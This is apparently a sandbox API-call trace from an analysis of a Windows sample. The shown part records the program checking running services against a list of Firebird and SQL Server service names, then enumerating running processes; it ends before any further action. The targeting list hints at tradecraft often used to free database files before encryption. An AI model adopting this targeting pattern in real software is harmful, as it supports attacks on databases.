	[0043.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0043.177] lstrlenW (lpString="FontCache") returned 9
	[0043.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0043.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0043.177] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0043.177] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0043.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0043.177] lstrlenW (lpString="gpsvc") returned 5
	[0043.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0043.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0043.177] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0043.177] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0043.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0043.177] lstrlenW (lpString="iphlpsvc") returned 8
	[0043.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0043.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0043.177] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0043.177] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0043.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0043.177] lstrlenW (lpString="KeyIso") returned 6
	[0043.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0043.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0043.178] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0043.178] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0043.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0043.178] lstrlenW (lpString="LanmanServer") returned 12
	[0043.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0043.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0043.178] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0043.178] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0043.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0043.178] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0043.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0043.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0043.178] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0043.178] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0043.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0043.178] lstrlenW (lpString="lfsvc") returned 5
	[0043.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0043.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0043.178] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0043.178] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0043.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0043.178] lstrlenW (lpString="lmhosts") returned 7
	[0043.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0043.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0043.178] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0043.178] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0043.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0043.178] lstrlenW (lpString="LSM") returned 3
	[0043.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0043.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0043.178] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0043.178] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0043.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0043.178] lstrlenW (lpString="MpsSvc") returned 6
	[0043.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0043.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0043.179] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0043.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0043.179] lstrlenW (lpString="NcbService") returned 10
	[0043.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0043.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0043.179] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0043.179] lstrlenW (lpString="netprofm") returned 8
	[0043.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0043.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0043.179] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0043.179] lstrlenW (lpString="NlaSvc") returned 6
	[0043.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0043.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0043.179] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0043.179] lstrlenW (lpString="nsi") returned 3
	[0043.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0043.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0043.179] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0043.179] lstrlenW (lpString="PcaSvc") returned 6
	[0043.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0043.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0043.179] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0043.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0043.179] lstrlenW (lpString="PlugPlay") returned 8
	[0043.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0043.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0043.180] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0043.180] lstrlenW (lpString="Power") returned 5
	[0043.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0043.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0043.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0043.180] lstrlenW (lpString="ProfSvc") returned 7
	[0043.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0043.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0043.180] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0043.180] lstrlenW (lpString="RpcEptMapper") returned 12
	[0043.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0043.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0043.180] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0043.180] lstrlenW (lpString="RpcSs") returned 5
	[0043.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0043.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0043.180] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0043.180] lstrlenW (lpString="SamSs") returned 5
	[0043.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0043.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0043.180] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0043.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0043.180] lstrlenW (lpString="Schedule") returned 8
	[0043.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0043.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0043.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0043.181] lstrlenW (lpString="SecurityHealthService") returned 21
	[0043.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0043.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0043.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0043.181] lstrlenW (lpString="SENS") returned 4
	[0043.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0043.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0043.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0043.181] lstrlenW (lpString="ShellHWDetection") returned 16
	[0043.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0043.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0043.181] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0043.181] lstrlenW (lpString="Spooler") returned 7
	[0043.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0043.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0043.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0043.181] lstrlenW (lpString="SSDPSRV") returned 7
	[0043.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0043.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0043.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0043.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0043.181] lstrlenW (lpString="StateRepository") returned 15
	[0043.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0043.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0043.182] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0043.182] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0043.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0043.182] lstrlenW (lpString="SysMain") returned 7
	[0043.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0043.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0043.182] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0043.182] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0043.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0043.182] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0043.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0043.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0043.182] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0043.182] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0043.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0043.182] lstrlenW (lpString="Themes") returned 6
	[0043.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0043.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0043.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0043.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0043.182] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bf4e60 | out: hHeap=0x650000) returned 1
	[0043.182] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338
	[0043.512] Process32FirstW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0043.513] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0043.513] lstrlenW (lpString="System") returned 6
	[0043.513] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0043.514] lstrlenW (lpString="smss.exe") returned 8
	[0043.514] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0043.515] lstrlenW (lpString="csrss.exe") returned 9
	[0043.515] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0043.516] lstrlenW (lpString="wininit.exe") returned 11
	[0043.516] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0043.516] lstrlenW (lpString="csrss.exe") returned 9
	[0043.516] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0043.517] lstrlenW (lpString="winlogon.exe") returned 12
	[0043.517] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0043.518] lstrlenW (lpString="services.exe") returned 12
	[0043.518] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0043.518] lstrlenW (lpString="lsass.exe") returned 9
	[0043.518] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.519] lstrlenW (lpString="svchost.exe") returned 11
	[0043.519] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0043.520] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0043.520] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0043.520] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0043.520] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.521] lstrlenW (lpString="svchost.exe") returned 11
	[0043.521] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0043.522] lstrlenW (lpString="dwm.exe") returned 7
	[0043.522] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.522] lstrlenW (lpString="svchost.exe") returned 11
	[0043.522] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.523] lstrlenW (lpString="svchost.exe") returned 11
	[0043.523] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.524] lstrlenW (lpString="svchost.exe") returned 11
	[0043.524] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.524] lstrlenW (lpString="svchost.exe") returned 11
	[0043.524] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.525] lstrlenW (lpString="svchost.exe") returned 11
	[0043.525] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.526] lstrlenW (lpString="svchost.exe") returned 11
	[0043.526] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.527] lstrlenW (lpString="svchost.exe") returned 11
	[0043.527] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.528] lstrlenW (lpString="svchost.exe") returned 11
	[0043.528] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.528] lstrlenW (lpString="svchost.exe") returned 11
	[0043.529] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0043.529] lstrlenW (lpString="spoolsv.exe") returned 11
	[0043.529] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.530] lstrlenW (lpString="svchost.exe") returned 11
	[0043.530] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.530] lstrlenW (lpString="svchost.exe") returned 11
	[0043.530] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0043.531] lstrlenW (lpString="audiodg.exe") returned 11
	[0043.531] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0043.532] lstrlenW (lpString="sihost.exe") returned 10
	[0043.532] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0043.532] lstrlenW (lpString="svchost.exe") returned 11
	[0043.532] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0043.533] lstrlenW (lpString="taskhostw.exe") returned 13
	[0043.533] Process32NextW (in: hSnapshot=0x338, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
